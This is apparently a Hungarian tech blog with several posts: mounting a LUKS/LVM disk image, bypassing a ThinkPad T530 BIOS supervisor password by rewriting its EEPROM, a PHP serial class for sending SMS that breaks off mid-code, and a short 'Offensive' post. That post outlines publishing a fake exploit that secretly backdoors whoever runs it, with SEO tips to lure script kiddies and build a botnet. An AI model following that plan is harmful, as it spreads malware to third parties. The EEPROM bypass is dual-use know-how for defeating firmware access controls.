LUKS LVM lemezkép csatolása Linux alatt (Debian/Ubuntu)

Ha van egy HDD lemezképed amit pl DD-vel készítettél egy olyan merevlemezről amin Full Disk Ecryptiont (LVM / LUKS) volt és szeretnéd mountolni akkor itt megtalálod a szükséges lépéseket.

su VAGY sudo su
localhost#cd /ahol/a/kep/van
localhost#ls -l
hdd-backup.iso

localhost# apt-get install kpartx

localhost# kpartx -l hdd-backup.iso

loop0p1 : 0 497664 /dev/loop0 2048
loop0p2 : 0 233938946 /dev/loop0 501758
loop0p5 : 0 233938944 /dev/dm-1 2

localhost# kpartx -a -v hdd-backup.iso

add map loop0p1 (254:4): 0 497664 linear /dev/loop0 2048
add map loop0p2 (254:5): 0 233938946 linear /dev/loop0 501758
add map loop0p5 : 0 233938944 linear 254:5 2

//Kiválasztjuk azt amelyik a kódolt partíció és megnyitjuk cryptsetup luksOpen segítségével
localhost# cryptsetup luksOpen /dev/mapper/loop0p5 titok
Enter passphrase for /dev/mapper/loop0p5:

localhost# mkdir /media/mtitok

//Ez nem fog müködni
localhost# mount /dev/mapper/titok /media/mtitok
mount: unknown filesystem type 'LVM2_member'

//Viszont ez már igen
localhost# pvs

localhost# vgchange -ay

localhost# lvscan

  ACTIVE            '/dev/[NEV]/root' [103.82 GiB] inherit
  ACTIVE            '/dev/[NEV]/swap_1' [7.73 GiB] inherit
  ACTIVE            '/dev/[NEV]/root' [106.98 GiB] inherit
  ACTIVE            '/dev/[NEV]/swap_1' [4.56 GiB] inherit


//Kiválasztjuk a porciónkat és mountoljuk
localhost# mount /dev/[NEV]/root /media/mtitkos

Csak akkor leszünk nagy gondban, ha a két kötet neve azonos ugyanis ilyenkor az egyiket át kell neveznünk valamelyiket.

Lenovo ThinkPad T530 SuperVisor password

 

Kb. másfél hónapja vásároltam egy T530-as laptopot, tökéletesen meg vagyok vele elégedve, i7-3610QM proci, FullHD LED kijelző, 8GB RAM, Lenovo minőség, stb (T530 Spec)

A BIOS-ban több jelszót is be lehet állítani: Power On Password, HDD password és SuperVisor Password. Be is állítottam őket. Amikor ellenőriztem a jelszót bekapcsolásnál és megadtam a Power On jelszót elfogadta és elindult a rendszer, és én azt gondoltam, hogy a SuperVisor jelszót adtam meg (amúgy a jelszóbekérő icon ugyan az), a “másik” jelszót meg elfelejtettem.

Egyik nap vissza akartam kapcsolni az Nvidia kártyát, (amit azért kapcsoltam ki mert kb 1,5 – 2 óra üzemidőt vesz el a rendszertől), de nem tudtam belépni a BIOS-ba mivel nem tudtam a SuperVisor jelszót. Kb. 5-6 próbálkozás után feladtam és elindítottam az operációs rendszert. Első dolgom az volt, hogy megnézzem, hogyan lehet kikapcsolni. Gondoltam, hogy CMOS elem kivétel vagy valami IC rövidre zárása lesz a megoldás, de nagyon hamar világossá vált, hogy a dolog nem ennyire egyszerű.

Mostanság eeprom-ot szokás használni, vagyis egy sima elem eltávolítás nem oldja meg a problémát. Sebaj beszélek a forgalmazóval, majd megoldják ők, hiszen 3 év garancia van rá, és biztosan mással is történt már hasonló, rutin dolog kell legyen. A forgalmazó elmondta, hogy igen viszonylag gyakori a probléma és hogy a megoldás rá az, hogy kicserélik az alaplapot. Egy alig egy hónapos laptopban alaplapot cserélni egy BIOS jelszó miatt szerintem egy kicsit overkill, de gondoltam nekem megfelel, viszont amikor elmondták, hogy 800-1000 USD + ÁFA egy alaplap és nekem kell állnom, már annyira nem tetszett az ötlet. Egy ~400.000 Ft-os laptopban 250.000-ért alaplapot cserélni 1 hónap után szerintem nem jó ötlet.

Sok veszteni valóm nem volt, ha tönkre is teszem az alaplapot akkor is 250K egy új. Elkezdtem keresgélni és viszonylag hamar is találtam megoldásokat, különböző ThinkPad modellekhez, viszont ez a T530 még nagyon új volt ezért konkrét instrukciók nem voltak hozzá. Felvettem a kapcsolatot az allservice.ro tulajával és közösen sikerült megoldanunk a problémát, és most meg is osztom a mikéntjét.


Szükséges Eszközök

  • Csavarhuzó
  • Forrasztópáka
  • 2 x 2.2 Ohm ellenállás
  • 2 x Zener dioda 5.1V
  • 1 x 9 Pin COM/RS232 csatlakozó
  • Szonda, pl Multiméterről
  • Többszínű vezeték 3 x 1,5- 2 m
  • hőpaszta (érdemes a legjobbat venni, mert az Intel elég szutykot használ.)
  • Régebbi Windows PC COM port-al**
  • 55USD Paypal**

* Lehetséges “RS232 to USB”-t is használni, de jobb egy COM portos régebbi gép 10-20 GB HDD-vel, mivel az egyik programot csak 1 PC-n lehet használni.
** Lehet banki átutalással is fizetni, de Romániába kell utalni a pénzt és az min 2 napot vesz igénybe, tehát vagy kétszer szedjük szét a laptoppot, vagy napokig szétbontva marad.

1. Soros I2C programozó

Az interneten rengeteg illusztrációt találunk I2C megépítéséről, én a port házába építettem bele az “áramkört” és megküldtem egy kis ragasztóval szigetelés gyanánt.

Itt letölthető az áramkör (i2cprog.pdf) , akik meg annyira nem igazodnak ki a rajzon készítettem egy illusztrációt.

Ha készen van az áramkörünk, akkor valami hasonlót kapunk:

Készítsük elé a Windows PC-t.
Szükségünk lesz néhány programra innen http://www.allservice.ro/store/utils/.

R24RF08 v2.0b — Reader for ATMEL 24RF08 (Freeware)
Ezzel a programmal tudjuk az eepromot olvasni, ez ingyenes.

A későbbiekben, amikor már megvan az eeprom dump kelleni fog még 1x W24RF08 & 1x Additional service $55.00.
A W24RF08 egy program, amivel tudnunk írni is az eepromba. Ezt le lehet tölteni ingyen de csak HardWare ID-t adja vissza, ami majd ahhoz lesz szükséges, hogy ténylegesen megvegyük a programot, de erről később.
Az “Additional service” annyit takar, hogy az allservice.ro csapata megpiszkálja nekünk a dumpokat, amit majd vissza írhatunk és a laptop is elfogadja.

Telepítsük fel az “R24RF08 v2.0b”-t kezdetnek a Windows PC-re.

EEPROM olvasása

Tötsük le a T530-as szerviz könyvét (http://support.lenovo.com mirror : 0xff.org t530) és kezdjük el szétszerelni a gépet. Ajánlott a csavarok helyét feljegyezni, hogy összeszereléskor ne maradjunk egy félmarék csavarral.

Szinte teljesen szét kell szednünk, mert az eeprom az alap hátoldalán kap helyet egy fekete fólia alatt.
3 dologra érdemes odafigyelni a szétszedésnél:
1) a CPU-n található hűtőelem eltávolítása – sorrendben kell meglazítani a csavarokat, majd a vissza rakásnál óvatosan kell ráhelyezni elegendő hőpasztával ugyanis a CPU-t nem védi “sapka” és könnyen kitörhet pár millió tranzisztor, ami nem szerencsés.
2) A WiFi antennák eltávolítása – könnyedén letörhetjük a csatlakozót.
3) Csavarok sorrendje és típusa.

Ha a szétszedéssel elértük azt a pontot, ahol az alaplapot már el tudjuk távolítani a hátlaptól, álljunk le és keressük meg az eeprom chipet, ami az alaplap hátán a fekete fólia alatt található, nem messze a memória csatlakozótól. Nem szükséges az egész fóliát eltávolítanunk.

Ha megvan a chip, kezdjük el összeszerelni a laptopot. A bekapcsoláshoz elég 1 memória modul, CPU, LCD és billentyűzet. Fontos, hogy működés közben hozzáférjünk a chiphez.

Ha sikerült működőképés állapotba hozni akkor :
1) A Windows PC-n egy command promt-ban készítsük elő az olvasó parancsot

r24rf08.exe bios-1.bin

2) Kapcsoljuk be a laptopot, és próbáljunk meg belépni a BIOS-ba F1-el.

3) Ha megjelenik a jelszóbekérő ikon, akkor csatlakoztassuk az i2c olvasót, először a GND-t (ez szinte bárhol lehet az alaplapon), majd SDA és az SCL-t.

* A piros “szonda” SCL, a Fekete szonda SDA, a fekete vezeték GND.

4) A Windows PC-n nyomjunk egy Entert (Inkább kérjünk meg valakit.)

Ha ezzel megvagyunk, akkor ismételjük meg a parancsot még 2-3x különböző fájlnevekkel bios-2.bin bios-3.bin stb. Erre azért van szükség, hogy biztosan kapjunk egy hibátlan eredményt.

Indítsuk el a w24rf08.exe-t, ami generálni fog egy Hardware Id-t.

Vásároljuk meg a “1x W24RF08 & 1x Additional service $55.00″ csomgot. http://www.allservice.ro/store/utils/.

Töltsük ki a megrendelő dokumentumot “regiser.doc”, HW ID és PayPal a fontos.

A BIOS dumpokat és a regiser.doc-ot küldjük el a megadott email címre.

Esetlegesen fognak kérni egy HW ID megerősítést, és ha jók a dumpok (nem volt érinkezési hiba), akkor kapunk egy patchet (maga az eeprom író program), valamint 2 filet.

EEPROM írása

Ha megvannak a megpiszkált fileok, akkor készítsük elé a parancsokat, összesen 4 parancsot kell futtatnunk 2 körben.
Első kör:
Kapcsoljuk be a laptopot és próbáljnuk belépni a BIOS-ba F1 gomb megnyomásával.
Amikor megjelenik a jelszóbekérő ikon, csatlakoztassuk az i2c-t ugyanúgy, mint olvasáskor és futtassuk a következő parancsot.

w24rf08.exe /p

Ha minden ok akkor jöhet a következő parancs.

w24rf08.exe KAPOTT_FILE-1.bin

Ha véletlenül hibát adna a program, akkor nyugodtan próbáljuk meg újra a parancs futtatását.

Ha ezzel megvagyunk, akkor indítsuk újra a laptopot és ismét próbáljunk meg belépni a BIOS-ba, de ezúttal jelszónak adjunk meg 7 nullást ’0000000′, majd ezután írjuk az eepromba a második fájlt is. Természetesen csak miután csatlakoztattuk az i2c-t

w24rf08.exe /p

Ha minden ok, akkor jöhet a következő parancs.

w24rf08.exe KAPOTT_FILE-2.bin

Ennél a lépésnél is, ha véletlenül hibát adna a program, akkor nyugodtan próbáljuk meg újra a parancs futtatását.

Valami hasonlót kell kapnunk, ha minden rendben zajlott

C:\ALLservice\W24RF08>w24rf08.exe /p
24RF08 eeprom writer v2.3 - Win32 Conì+le Version
Copyright (C) Victor Voinea, ALLservice 2004-2011, www.allservice.ro

----------------------------------------------------------------
Initializing timer...18578 OK!

Resetting APP...
Done.

----------------------------------------------------------------
Hit <Enter> to exit...


C:\ALLservice\W24RF08>w24rf08.exe t530-1.bin
24RF08 eeprom writer v2.3 - Win32 Conì+le Version
Copyright (C) Victor Voinea, ALLservice 2004-2011, www.allservice.ro

----------------------------------------------------------------
Initializing timer...18578 OK!
Eeprom dump size: OK

Page mode. Writing eeprom...
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Done.

----------------------------------------------------------------
Hit <Enter> to exit...



C:\ALLservice\W24RF08>w24rf08.exe /p
24RF08 eeprom writer v2.3 - Win32 Conì+le Version
Copyright (C) Victor Voinea, ALLservice 2004-2011, www.allservice.ro

----------------------------------------------------------------
Initializing timer...18546 OK!

Resetting APP...
Done.

----------------------------------------------------------------
Hit <Enter> to exit...


C:\ALLservice\W24RF08>w24rf08.exe t530-2.bin
24RF08 eeprom writer v2.3 - Win32 Conì+le Version
Copyright (C) Victor Voinea, ALLservice 2004-2011, www.allservice.ro

----------------------------------------------------------------
Initializing timer...18578 OK!
Eeprom dump size: OK

Page mode. Writing eeprom...
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Done.

----------------------------------------------------------------
Hit <Enter> to exit...

Készen is vagyunk. Indítsuk újra a laptopot és próbáljunk meg belépni a BIOS-ba. Ha minden rendben van, akkor nem kellene jelszót kérnie.

55 dolláral (+párszáz fortint i2c), valamint egy “kis” barkácsolással megspóroltunk kb. 1000 dollárt, ami azért nem rossz. Azonban, ha lehetséges az eeprom felülírása és a SuperVisor jelszó kiiktatása, akkor a Lenovo miért cseréli ki az egész alaplapot? Vagy ha nem képes sokkal nehezebben kijátszható rendszert építenie, akkor miért nem rakja elérhető helyre a chipet, hogy ne kelljen szétbontani az egész laptopot? Elég enne, ha csak 3-4 cm-el lenne odébb és el lehetne érni a memória modul fedele alatt.

Offensive # it might work!

Szokták mondani, hogy “The best defense is a good offense” és van is benne valami.

Ez az ötlet csak az un “Script Kiddie” ellen hatásos de itt most nem is hatásosságáról van szó inkább azon, hogy egy jót szórakozzunk, esetleg egy bot-net építésűnk.

A módszer pofon egyszerű:
1. Találjunk ki egy fantázia nevet pl: Remote ANDX Server 1.6.2
2. Nyissunk megy egy low portot pl 189/TCP és bárkitől érkezik egy kapcsolat írjuk ki a fantázia nevet rajta.
3. Írjunk egy “exploitot” ami végső soron egy BackDoor Win/Linux rendszerre és publikáljuk a nagyon rejtett (“shellcode”) forráskódot egy weboldalon.
3.1 Néhány SEO tipp. a <title> legyen a fantázia nevünk + exploit hiszen ere keres rá minden “Script Kiddie”, nem kell eltulozni elég egy Local File Disclosure nek címkézni, a “root exploit” scam gyanús. A fantázia nevünk legyen egyedi, így szinte garantált, hogy a mi exploitunkat fogja megtalálni.

Érdemes nézni az Apache loggokat mert lehet, hogy a támadónk nem futtat JS-t, stb.

Szerencsés eset:
A támadó futtat egy port scant az ip címünk ellen.
Megtalálja az alacsony portot pl 189 et, vagy bármi mást.
Csatlakozik pl telnet-el a megadott portra.
Megkapja a fantázia bannert.
Rákeres a Google on fantázianév / fantázianév exploit -ra
Mi vagyunk az első találat.
Nem ért hozzá => gcc source.c
./a.out target [port]
PWNED

30 perc alatt megvan az egész dolog és szerezhetünk maguknak egy vidám percet, vagy akár több százat is :D

SMS küldés és fogadás @ PHP

Nem tudod, hogy mit kezdjél azzal a rengeteg SMS-el amit a szolgáltatód ad?
Undod telefonon írni az SMS-t?
Olcsóbbnak találod a szolgáltatód SMS árait mint az SMS küldő cégekét?
Drágának találod az “egyedi” megoldásokat? (securix-sms)
!!!Van megoldás!!! Csak most csak neked csak itt! AKCIÓ!!!

*Szerintem azt az embert aki a marquee és blink -et bármilyen kombinációban használja ki kellene vizsgálni.

 

Azért folytatom innen lentről, hogy le tudd görgetni és ne zavarjon a “reklámcsík”

Szükséges dolgok:
1. PC (Linux + Apache? + PHP)
2. Telefon

A telefont meg a PC-t össze kell kötnünk valamilyen módon, én 2 megoldás ismerek:
1 – Soros port
2 – Soros port

Bármelyiket is választjuk az eredmény ugyan az. Soros kapcsolatot létesíthetünk adatkábellel vagy Bluetoothon keresztül.

Ha olyan telefon modellünk van ami egy USB (vagy adat) kábel csatlakozása után felajánlja a “COM port” módot akkor nincsen is más dolgunk ugorhatunk a XVII részhez, ha meg nem akkor “emulálunk” egy COM portot.

Párosítsuk a telefont a PC vel.
-2 Bekapcsoljuk a telefonon a Bluetooth-ot
-1 Ellenőrizzük hogy a PC ben van Bluetooth és bekapcsoljuk azt .

$ sudo service bluetooth restart
$ hcitool dev
Devices:
    hci0    E8:39:DF:1C:C7:03

1. Megkeressük az eszközt.

$hcitool scan
Scanning ...

    30:7B:10:83:F7:8E   Pl:Samsung

Ami-után azonosítottuk párosítsuk

$sudo hcitool cc [az eszkoz "MAC" száma]
$sudo hcitool auth [az eszkoz "MAC" száma]

Amint ezzel megvagyunk megkeressük rajta a COM porot

sdptool browse [az eszkoz "MAC" száma]  | grep -A 4 'Serial'

Kikeressük a “Chanel” számát a “Serial Port” -nak az én esetmben 5 de ez változhat.

“Csatlakoztatjük” (bind) a Serial Port -ot.

sudo rfcomm bind rfcomm[tetszöleges szam] [az eszkoz "MAC" száma]  [Serial Port Chanel száma]

Az én estemben:

sudo rfcomm bind rfcomm0 30:7B:10:83:F7:8E  5

Leellenőrizzük egy ls paranccsal és megnézhetjük a dmesg el is.

ls /dev/rfcomm0
dmesg
..
[43268.541068] Bluetooth: RFCOMM TTY layer initialized
[43268.541075] Bluetooth: RFCOMM socket layer initialized
[43268.541077] Bluetooth: RFCOMM ver 1.11
..

** Egyes telefonok estében érdemes “Authorizálni” a PC-t így nem fog minden kikapcsolódnál, rákérdezni.

XVII

Most már van egy soros kapcsolatunk a telefonunkhoz, itt még fontosnak tartom megemlíteni, hogy ha hosszútávon és sokat szeretnénk használni, akkor érdemes beszerezni egy olcsó telefont amelynek a töltése USB portól működik és csatlakoztatásnál felajánlja a COM port üzemmódot egy példa rá az “Alkatel 707 (Vodafone 541)” amit már 3-4000 ért lehet kapni.

Akik USB / Adat-kábelt használnak azok az eszköz elérését kileshetik

$ dmesg | grep tty

[2095340.683226] cdc_acm 3-2:1.1: ttyACM0: USB ACM device

és több mint valószínű hogy /dev/ttyACM0

Ahhoz, hogy SMS-t tudjunk küldeni illetve fogadni AT pancsokat kell küldenünk a “telefonnak” inkább GSM modem de maradjunk a telefonban, az interneten rengeteg helyen fellelhetőek ezek a parancsok, így nem is részletezném őket, annyira azonban kitérek, hogy ha a SIM kártya védve van PIN kóddal akkor azt jobb kikapcsolni, megoldható a PIN megadás is de szerintem túl kockázatos vállalkozás minden esetre aki akarja az alkalmazhatja.

Ahhoz, hogy tudjunk kommunikálni a soros port-al PHP ban szükségünk lesz a PHP Serial Calass-ra, valamit ha webservice ként szeretnénk használni akkor némi jogosultságra a /dev/[eszköz] ön, én ezt az én esetemben ezzel oldottam meg:

sudo chmod 666 /dev/ttyACM0

Az SMS küldés és fogadása innentől kezdve gyerekjáték, néhány AT parancsot kiküldünk a soros portra majd a kapott választ feldogozzuk.

PHP Serial Class

<?php
define ("SERIAL_DEVICE_NOTSET", 0);
define ("SERIAL_DEVICE_SET", 1);
define ("SERIAL_DEVICE_OPENED", 2);

/**
 * Serial port control class
 *
 * THIS PROGRAM COMES WITH ABSOLUTELY NO WARANTIES !
 * USE IT AT YOUR OWN RISKS !
 *
 * @author Rémy Sanchez <thenux@gmail.com>
 * @thanks Aurélien Derouineau for finding how to open serial ports with windows
 * @thanks Alec Avedisyan for help and testing with reading
 * @copyright under GPL 2 licence
 */

class phpSerial
{
    var $_device = null;
    var $_windevice = null;
    var $_dHandle = null;
    var $_dState = SERIAL_DEVICE_NOTSET;
    var $_buffer = "";
    var $_os = "";

    /**
     * This var says if buffer should be flushed by sendMessage (true) or manualy (false)
     *
     * @var bool
     */

    var $autoflush = true;

    /**
     * Constructor. Perform some checks about the OS and setserial
     *
     * @return phpSerial
     */

    function phpSerial ()
    {
        setlocale(LC_ALL, "en_US");

        $sysname = php_uname();

        if (substr($sysname, 0, 5) === "Linux")
        {
            $this->_os = "linux";

            if($this->_exec("stty --version") === 0)
            {
                register_shutdown_function(array($this, "deviceClose"));
            }
            else
            {
                trigger_error("No stty availible, unable to run.", E_USER_ERROR);
            }
        }
        elseif(substr($sysname, 0, 7) === "Windows")
        {
            $this->_os = "windows";
            register_shutdown_function(array($this, "deviceClose"));
        }
        else
        {
            trigger_error("Host OS is neither linux nor windows, unable tu run.", E_USER_ERROR);
            exit();
        }
    }

    //
    // OPEN/CLOSE DEVICE SECTION -- {START}
    //

    /**
     * Device set function : used to set the device name/address.
     * -> linux : use the device address, like /dev/ttyS0
     * -> windows : use the COMxx device name, like COM1 (can also be used
     *     with linux)
     *
     * @param string $device the name of the device to be used
     * @return bool
     */

    function deviceSet ($device)
    {
        if ($this->_dState !== SERIAL_DEVICE_OPENED)
        {
            if ($this->_os === "linux")
            {
                if (preg_match("@^COM(\d+):?$@i", $device, $matches))
                {
                    $device = "/dev/ttyS" . ($matches[1] - 1);
                }

                if ($this->_exec("stty -F " . $device) === 0)
                {
                    $this->_device = $device;
                    $this->_dState = SERIAL_DEVICE_SET;
                    return true;
                }
            }
            elseif ($this->_os === "windows")
            {
                if (preg_match("@^COM(\d+):?$@i", $device, $matches) and $this->_exec(exec("mode " . $device)) === 0)
                {
                    $this->_windevice = "COM" . $matches[1];
                    $this->_device = "\\.\com" . $matches[1];
                    $this->_dState = SERIAL_DEVICE_SET;
                    return true;
                }
            }

            trigger_error("Specified serial port is not valid", E_USER_WARNING);
            return false;
        }
        else
        {
            trigger_error("You must close your device before to set an other one", E_USER_WARNING);
            return false;
        }
    }

    /**
     * Opens the device for reading and/or writing.
     *
     * @param string $mode Opening mode : same parameter as fopen()
     * @return bool
     */

    function deviceOpen ($mode = "r+b")
    {
        if ($this->_dState === SERIAL_DEVICE_OPENED)
        {
            trigger_error("The device is already opened", E_USER_NOTICE);
            return true;
        }

        if ($this->_dState === SERIAL_DEVICE_NOTSET)
        {
            trigger_error("The device must be set before to be open", E_USER_WARNING);
            return false;
        }

        if (!preg_match("@^[raw]\+?b?$@", $mode))
        {
            trigger_error("Invalid opening mode : ".$mode.". Use fopen() modes.", E_USER_WARNING);
            return false;
        }

        $this->_dHandle = @fopen($this->_device, $mode);

        if ($this->_dHandle !== false)
        {
            stream_set_blocking($this->_dHandle, 0);
            $this->_dState = SERIAL_DEVICE_OPENED;
            return true;
        }

        $this->_dHandle = null;
        trigger_error("Unable to open the device", E_USER_WARNING);
        return false;
    }

    /**
     * Closes the device
     *
     * @return bool
     */

    function deviceClose ()
    {
        if ($this->_dState !== SERIAL_DEVICE_OPENED)
        {
            return true;
        }

        if (fclose($this->_dHandle))
        {
            $this->_dHandle = null;
            $this->_dState = SERIAL_DEVICE_SET;
            return true;
        }

        trigger_error("Unable to close the device", E_USER_ERROR);
        return false;
    }

    //
    // OPEN/CLOSE DEVICE SECTION -- {STOP}
    //

    //
    // CONFIGURE SECTION -- {START}
    //

    /**
     * Configure the Baud Rate
     * Possible rates : 110, 150, 300, 600, 1200, 2400, 4800, 9600, 38400,
     * 57600 and 115200.
     *
     * @param int $rate the rate to set the port in
     * @return bool
     */

    function confBaudRate ($rate)
    {
        if ($this->_dState !== SERIAL_DEVICE_SET)
        {
            trigger_error("Unable to set the baud rate : the device is either not set or opened", E_USER_WARNING);
            return false;
        }

        $validBauds = array (
            110    => 11,
            150    => 15,
            300    => 30,
            600    => 60,
            1200   => 12,
            2400   => 24,
            4800   => 48,
            9600   => 96,
            19200  => 19,
            38400  => 38400,
            57600  => 57600,
            115200 => 115200
        );

        if (isset($validBauds[$rate]))
        {
            if ($this->_os === "linux")
            {
                $ret = $this->_exec("stty -F " . $this->_device . " " . (int) $rate, $out);
            }
            elseif ($this->_os === "windows")
            {
                $ret = $this->_exec("mode " . $this->_windevice . " BAUD=" . $validBauds[$rate], $out);
            }
            else return false;

            if ($ret !== 0)
            {
                trigger_error ("Unable to set baud rate: " . $out[1], E_USER_WARNING);
                return false;
            }
        }
    }

    /**
     * Configure parity.
     * Modes : odd, even, none
     *
     * @param string $parity one of the modes
     * @return bool
     */

    function confParity ($parity)
    {
        if ($this->_dState !== SERIAL_DEVICE_SET)
        {
            trigger_error("Unable to set parity : the device is either not set or opened", E_USER_WARNING);
            return false;
        }

        $args = array(
            "none" => "-parenb",
            "odd"  => "parenb parodd",
            "even" => "parenb -parodd",
        );

        if (!isset($args[$parity]))
        {
            trigger_error("Parity mode not supported", E_USER_WARNING);
            return false;
        }

        if ($this->_os === "linux")
        {
            $ret = $this->_exec("stty -F " . $this->_device . " " . $args[$parity], $out);
        }
        else
        {
            $ret = $this->_exec("mode " . $this->_windevice . " PARITY=" . $parity{0}, $out);
        }

        if ($ret === 0)
        {
            return true;
        }

        trigger_error("Unable to set parity : " . $out[1], E_USER_WARNING);
        return false;
    }

    /**
     * Sets the length of a character.
     *
     * @param int $int length of a character (5 <= length <= 8)
     * @return bool
     */

    function confCharacterLength ($int)
    {
        if ($this->_dState !== SERIAL_DEVICE_SET)
        {
            trigger_error("Unable to set length of a character : the device is either not set or opened", E_USER_WARNING);
            return false;
        }

        $int = (int) $int;
        if ($int < 5) $int = 5;
        elseif ($int > 8) $int = 8;

        if ($this->_os === "linux")
        {
            $ret = $this->_exec("stty -F " . $this->_device . " cs" . $int, $out);
        }
        else
        {
            $ret = $this->_exec("mode " . $this->_windevice . " DATA=" . $int, $out);
        }

        if ($ret === 0)
        {
            return true;
        }

        trigger_error("Unable to set character length : " .$out[1], E_USER_WARNING);
        return false;
    }

    /**
     * Sets the length of stop bits.
     *
     * @param float $length the length of a stop bit. It must be either 1,
     * 1.5 or 2. 1.5 is not supported under linux and on some computers.
     * @return bool
     */

    function confStopBits ($length)
    {
        if ($this->_dState !== SERIAL_DEVICE_SET)
        {
            trigger_error("Unable to set the length of a stop bit : the device is either not set or opened", E_USER_WARNING);
            return false;
        }

        if ($length != 1 and $length != 2 and $length != 1.5 and !($length == 1.5 and $this->_os === "linux"))
        {
            trigger_error("Specified stop bit length is invalid", E_USER_WARNING);
            return false;
        }

        if ($this->_os === "linux")
        {
            $ret = $this->_exec("stty -F " . $this->_device . " " . (($length == 1) ? "-" : "") . "cstopb", $out);
        }
        else
        {
            $ret = $this->_exec("mode " . $this->_windevice . " STOP=" . $length, $out);
        }

        if ($ret === 0)
        {
            return true;
        }

        trigger_error("Unable to set stop bit length : " . $out[1], E_USER_WARNING);
        return false;
    }

    /**
     * Configures the flow control
     *
     * @param string $mode Set the flow control mode. Availible modes :
     *  -> "none" : no flow control
     *  -> "rts/cts" : use RTS/CTS handshaking
     *  -> "xon/xoff" : use XON/XOFF protocol
     * @return bool
     */

    function confFlowControl ($mode)
    {
        if ($this->_dState !== SERIAL_DEVICE_SET)
        {
            trigger_error("Unable to set flow control mode : the device is either not set or opened", E_USER_WARNING);
            return false;
        }

        $linuxModes = array(
            "none"     => "clocal -crtscts -ixon -ixoff",
            "rts/cts"  => "-clocal crtscts -ixon -ixoff",
            "xon/xoff" => "-clocal -crtscts ixon ixoff"
        );
        $windowsModes = array(
            "none"     => "xon=off octs=off rts=on",
            "rts/cts"  => "xon=off octs=on rts=hs",
            "xon/xoff" => "xon=on octs=off rts=on",
        );

        if ($mode !== "none" and $mode !== "rts/cts" and $mode !== "xon/xoff") {
            trigger_error("Invalid flow control mode specified", E_USER_ERROR);
            return false;
        }

        if ($this->_os === "linux")
            $ret = $this->_exec("stty -F " . $this->_device . " " . $linuxModes[$mode], $out);
        else
            $ret = $this->_exec("mode " . $this->_windevice . " " . $windowsModes[$mode], $out);

        if ($ret === 0) return true;
        else {
            trigger_error("Unable to set flow control : " . $out[1], E_USER_ERROR);
            return false;
        }
    }

    /**
     * Sets a setserial parameter (cf man setserial)
     * NO MORE USEFUL !
     *  -> No longer supported
     *  -> Only use it if you need it
     *
     * @param string $param parameter name
     * @param string $arg parameter value
     * @return bool
     */

    function setSetserialFlag ($param, $arg = "")
    {
        if (!$this->_ckOpened()) return false;

        $return = exec ("setserial " . $this->_device . " " . $param . " " . $arg . " 2>&1");

        if ($return{0} === "I")
        {
            trigger_error("setserial: Invalid flag", E_USER_WARNING);
            return false;
        }
        elseif ($return{0} === "/")
        {
            trigger_error("setserial: Error with device file", E_USER_WARNING);
            return false;
        }
        else
        {
            return true;
        }
    }

    //
    // CONFIGURE SECTION -- {STOP}
    //

    //
    // I/O SECTION -- {START}
    //

    /**
     * Sends a string to the device
     *
     * @param string $str string to be sent to the device
     * @param float $waitForReply time to wait for the reply (in seconds)
     */

    function sendMessage ($str, $waitForReply = 0.1)
    {
        $this->_buffer .= $str;

        if ($this->autoflush === true) $this->flush();

        usleep((int) ($waitForReply * 1000000));
    }

    /**
     * Reads the port until no new datas are availible, then return the content.
     *
     * @pararm int $count number of characters to be read (will stop before
     *  if less characters are in the buffer)
     * @return string
     */

    function readPort ($count = 0)
    {
        if ($this->_dState !== SERIAL_DEVICE_OPENED)
        {
            trigger_error("Device must be opened to read it", E_USER_WARNING);
            return false;
        }

        if ($this->_os === "linux")
        {
            $content = ""; $i = 0;

            if ($count !== 0)
            {
                do {
                    if ($i > $count) $content .= fread($this->_dHandle, ($count - $i));
                    else $content .= fread($this->_dHandle, 128);
                } while (($i += 128) === strlen($content));
            }
            else
            {
                do {
                    $content .= fread($this->_dHandle, 128);
                } while (($i += 128) === strlen($content));
            }

            return $content;
        }
        elseif ($this->_os === "windows")
        {
            /* Do nohting : not implented yet */
        }

        trigger_error("Reading serial port is not implemented for Windows", E_USER_WARNING);
        return false;
    }

    /**
     * Flushes the output buffer
     *
     * @return bool
     */

    function flush ()
    {
        if (!$this->_ckOpened()) return false;

        if (fwrite($this->_dHandle, $this->_buffer) !== false)
        {
            $this->_buffer = "";
            return true;
        }
        else
        {
            $this->_buffer = "";
            trigger_error("Error while sending message", E_USER_WARNING);
            return false;
        }
    }

    //
    // I/O SECTION -- {STOP}
    //

    //
    // INTERNAL TOOLKIT -- {START}
    //

    function _ckOpened()
    {
        if ($this->_dState !== SERIAL_DEVICE_OPENED)
        {
            trigger_error("Device must be opened", E_USER_WARNING);
            return false;
        }

        return true;
    }

    function _ckClosed()
    {
        if ($this->_dState !== SERIAL_DEVICE_CLOSED)
        {
            trigger_error("Device must be closed", E_USER_WARNING);
            return false;
        }

        return true;
    }

    function _exec($cmd, &$out = null)
    {
        $desc = array(
            1 => array("pipe", "w"),
            2 => array("pipe", "w")
        );

        $proc = proc_open($cmd, $desc, $pipes);

        $ret = stream_get_contents($pipes[1]);
        $err = stream_get_contents($pipes[2]);

        fclose($pipes[1]);
        fclose($pipes[2]);

        $retVal = proc_close($proc);

        if (func_num_args() == 2) $out = array($ret, $err);
        return $retVal;
    }

    //
    // INTERNAL TOOLKIT -- {STOP}
    //
}
?>

sms.class.php

<?php

Class SMS{

public $msg = '';
public $serial;

function __construct($comm){
    require_once "php_serial.class.php";
    $serial = new phpSerial;
    $serial->deviceSet($comm);
    $serial->confBaudRate(9600);
    $serial->confParity('none');
    $serial->confCharacterLength(8);
    $serial->deviceOpen();
    $this->serial=$serial;
    $this->msg .= 'Connected'."\n";
}





public function SendSMS($to,$msg){
$this->serial->sendMessage("AT\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMGF=?\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMGF=1\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMGS=\"{$to}\"\n{$msg}".chr(26)."\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMSS=1\n");
$this->msg .= $this->serial->readPort();
$this->serial->deviceClose();
}

public function GetSMS(){
$this->serial->sendMessage("AT\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CMGF=1\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CPMS=?\n");
$this->msg .= $this->serial->readPort();
$this->serial->sendMessage("AT+CPMS=MT\n");
/*
